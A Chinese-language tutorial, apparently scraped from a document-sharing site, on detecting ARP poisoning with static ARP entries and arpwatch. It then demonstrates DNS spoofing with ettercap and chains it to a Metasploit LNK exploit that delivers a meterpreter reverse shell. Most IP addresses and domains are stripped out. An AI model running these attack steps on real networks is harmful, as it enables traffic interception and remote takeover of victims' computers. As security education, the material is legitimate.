当前位置:文档之家› 中间人攻击之DNS欺骗

中间人攻击之DNS欺骗

中间人攻击之DNS欺骗
中间人攻击之DNS欺骗

在前面的文章(中间人攻击-ARP毒化)中,我们讨论了黑客危险的攻击和实用的ARP中毒原理。在本文中,我将首先探讨检测和防止ARP中毒(或ARP欺骗)攻击,然后我将回顾其他的中间人攻击-DNS欺骗。

ARP缓存攻击是一项非常危险的攻击,重要的是在用户中创建安全的意识和分析有效的工具和策略。如果你操作的是小型网络,那么就很容易维护ARP。但是在大型的网络,维护ARP是很困难和费事的。在前一篇文章的最后我们讨论了工具和技术,能够被用来检测ARP缓存中毒攻击。让我们来回顾下每一步:

静态ARP

你可以在网络ARP表中手动的添加一些信息,一旦信息插入,你就有了静态ARP映射。输入数据的过程也是非常简单,在你的终端/CMS中,只需输入:“arp -s”

例子:

你现在的ARP表:

root@bt:~# arp

Address HWtype HWaddress Flags Mask Iface

ether 00:22:93:cf:eb:6d C eth0

让我们假设一下,我想添加一个新的主机在我的ARP缓存表中,我输入如下命令:

arp -s IP MAC

root@bt:~# arp -s 00:50:FC:A8:36:F5

root@bt:~# arp

Address HWtype HWaddress Flags Mask Iface

ether 00:50:fc:a8:36:f5 CM eth0

ether 00:22:93:cf:eb:6d C eth0

root@bt:~#

需要注意的是,手动添加ARP表只适用于当前的会话。当你重新启动计算机,将更新表。如果你想要使用这种方法,那么你可以创建一个批处理文件/BASH文件,并将它们添加到启动项。

ARPwatch

(ps:监听ARP记录)

这是一个不错的实用程序,已经被用来监测ARP网络,它能够探测并记录发生更改的网络,同时还发送邮箱详细说明各自的变化。安装过程也是非常简单的。

对于Ubuntu用户:

# apt-get install arpwatch

root@bt:~# arpwatch -h

Version

usage: arpwatch [-dN] [-f datafile] [-i interface] [-n net[/width]] [-r file] [-s sendmail_path] [-p] [-a] [-m addr] [-u username] [-R seconds ] [-Q] [-z

ignorenet/ignoremask]

如果需要快速检测就用下面这个命令:

# arpwatch -i interface

root@bt:~# arpwatch -i eth0

检查程序是否在运行:

root@bt:~# ps -ef | grep arpwatch

arpwatch 1041 1 0 14:05 ? 00:00:00 /usr/sbin/arpwatch -u arpwatch -N -p

root 2191 2165 0 14:54 pts/0 00:00:00 grep –color=auto arpwatch

接下来的步骤就是ARPwatch记录日志,这也非常简单,你只需要做得是确定目录,然后读取文件。

root@bt:~# cd /var/lib/arpwatch

root@bt:/var/lib/arpwatch# ls

root@bt:/var/lib/arpwatch# cat

00:50:fc:a8:36:f5 76 eth0

00:27:0e:21:a6:1e 23 eth0

所以如果你是网络管理员,那么你应该实施一些策略来监视ARP表并且保护主机免受ARP中毒攻击。

当然我们要注意,中间人攻击并不局限于一个ARP欺骗攻击。正如前面提到的,还有许多其他的技术能够执行一个中间人攻击。一个主要的例子就是DNS欺骗,我们将分析它。

DNS欺骗攻击

DNS欺骗攻击是一种非常危险的中间人攻击,它容易被攻击者利用并且窃取用户的机密信息。虽然这篇文章可以提供一些新的见解,但重要的是DNS欺骗是一个一般概念,有无数种方法可以实现一个DNS欺骗攻击。

在一个DNS欺骗攻击中,攻击者可以利用一个漏洞来伪造网络流量。因此,要理解DNS欺骗攻击,必须理解DNS是怎样工作的。

DNS(域名系统)在互联网中是一个非常重要的协议。它属于TCP/IP,是一个分层结构的分布式模块,它包含域名的相关信息。它负责在网络上映射域名到他们各自的IP上。DNS定位主机/服务器通过查看友好域名,使用域名系统,DNS将域名和IP地址相互映射。这些设备(路由器、服务器等)连接到你的电脑不能理解一些友好的名称(,他们只了解一个IP地址,而DNS负责翻译它。

让我们来看看下面这个图来理解主机和本地DNS服务器的正常通信。

DNS服务器包含着一个主数据库,其中包括信息的IP地址,因为这涉及到相应的域名。所以在这些正常的通信中,一个主机发送请求到服务器,之后服务器响应正确的信息。如果DNS没有信息传入的请求,它将发送请求到外部DNS服务器来获取正确的响应。

那么攻击者如何使用中间人攻击来实施DNS欺骗呢?下图说明了答案:

使用DNS欺骗中间人攻击,攻击者将截取会话,然后转移到一个假网站的会话。假如:用户希望访问,并且谷歌的IP地址为,攻击者就可以使用DNS欺骗技术拦截会话,并将用户重定向到假冒的网站,假网站IP可以为任意IP。

演示DNS欺骗攻击

在本系列的以前文章中我发现ettercap是一个很好用来演示ARP欺骗攻击的工具。当然ettercap包含一个DNS插件,非常容易使用哦。

打开ettercap GUI,点击"sniff",之后再"unified sniffing"选择自己的网络。单机hosts,之后扫描整个子网存活的主机。在执行时,我们来编辑文件,以确保它执行正确的DNS欺骗攻击:

microsoft sucks ;)

# redirect it to

#

A

*. A

PTR # Wildcards in PTR are not allowed

默认情况下,ettercap是重定向到另一个网站的IP地址,我们来改变它:

A

*. A

PTR # Wildcards in PTR are not allowed

是攻击者的IP地址。确保Web服务器运行在攻击者的机器,一定要启用IP转发。在受害者的电脑查看:C:\>ping

Pinging [ with 32 bytes of data:

Reply from bytes=32 time=167ms TTL=54

>Reply from bytes=32 time=167ms TTL=54

Reply from bytes=32 time=167ms TTL=54

Ping statistics for

Packets: Sent = 4, Received = 4, Lost = 0 <0% loss>,

在ettercap GUI上,选择受害者主机(目标1)和默认路由器(网关,目标2)。

点击Mitm---ARP poisoning,选择"Sniff remote connerctions."之后点击"start"-"start sniffing"

点击选择"plugins"--"manage the plugins" 在其中选择dns_spoof。这将会启用dns_spoof插件来执行DNS欺骗中间人攻击。现在在受害者电脑的DNS欺骗攻击是:

你可以看到,在DNS已经成功欺骗时,所有会话被转移到了攻击者的主机,而不是真正的微软服务器。

这个演示是基于GUI的ettercap,你也可以使用命令行版本。让我们考虑一个快速演示DNS欺骗的命令行接口。

选择etter。查看Dns使用简单的命令:

root@bt:~# locate

/usr/local/share/videojak/

/usr/share/ettercap/

root@bt:~#

现在你可以使用你喜欢的文本编辑器来编辑这个文件。你可以使用文本编辑器nano或者其他任何你想要的root@bt:~# gedit /usr/share/ettercap/

root@bt:~# nano /usr/share/ettercap/

当你完成了保存这个文件,现在做好了准备。我们需要做得就是通过ettercap启用DNS欺骗攻击:

root@bt:~# ettercap -T -q -P dns_spoof -M arp . (Ethernet)

eth0 -> 00:1C:23:42:8D:04

SSL dissection needs a valid 'redir_command_on' script in the file

Privileges dropped to UID 65534 GID 65534...

28 plugins

39 protocol dissectors

53 ports monitored

7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

* |==================================================>| %

4 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

Starting Unified sniffing...

Text only Interface activated...

Hit 'h' for inline help

Activating dns_spoof plugin...

让我们来拆开命令结构,来分析DNS欺骗攻击所用到的命令:

-P 使用插件,这里我们使用的是dns_spoof

-T 使用基于文本界面

-q 启动安静模式(不回显的意思)

-M 启动ARP欺骗攻击

. (Ethernet)

eth0 -> 00:1C:23:42:8D:04

SSL dissection needs a valid 'redir_command_on' script in the file

Privileges dropped to UID 65534 GID 65534...

28 plugins

39 protocol dissectors

53 ports monitored

7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

* |==================================================>| %

4 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 00:16:41:ED:6A:D0

在另一个例子中,你可以使用特定的接口来执行dns欺骗攻击。为此,可以使用如下命令:

root@bt:~# ettercap -T -q -i eth0 -P dns_spoof -M arp .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P

8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8

8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8

8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: ::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

=[ metasploit [core: api:]

+ -- --=[ 684 exploits - 355 auxiliary

+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > use windows/browser/ms10_046_shortcut_icon_dllloader

msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST

SRVHOST =>

msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST

LHOST =>

msf exploit(ms10_046_shortcut_icon_dllloader) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on

[*]

[*] Send vulnerable clients to \\

[*] Or, get clients to save and render the icon of host>/.lnk

[*]

[*] Using URL:

[*] Server started.

如果一切正常,我们所需要做得就是根据我们的DNS配置etter文件。看下面这个图:我使用攻击者的IP 地址来设置为目标网站。一旦受害者打开该网站,他将被重定向到中,然后会话开始。

这些只是DNS欺骗中最危险的一个方面:受害者不知道发送了什么,因为一切似乎是合情合理的,但不幸的是数据并没有进行正确的传输。此外,这种攻击非常危险,因为攻击者可能会利用这个技术在公共的wi-fi 点上,入侵其他电脑。希望这篇文章已经讨论了一个有用的策略来检测ARP欺骗攻击和DNS欺骗攻击。

相关主题
文本预览
相关文档 最新文档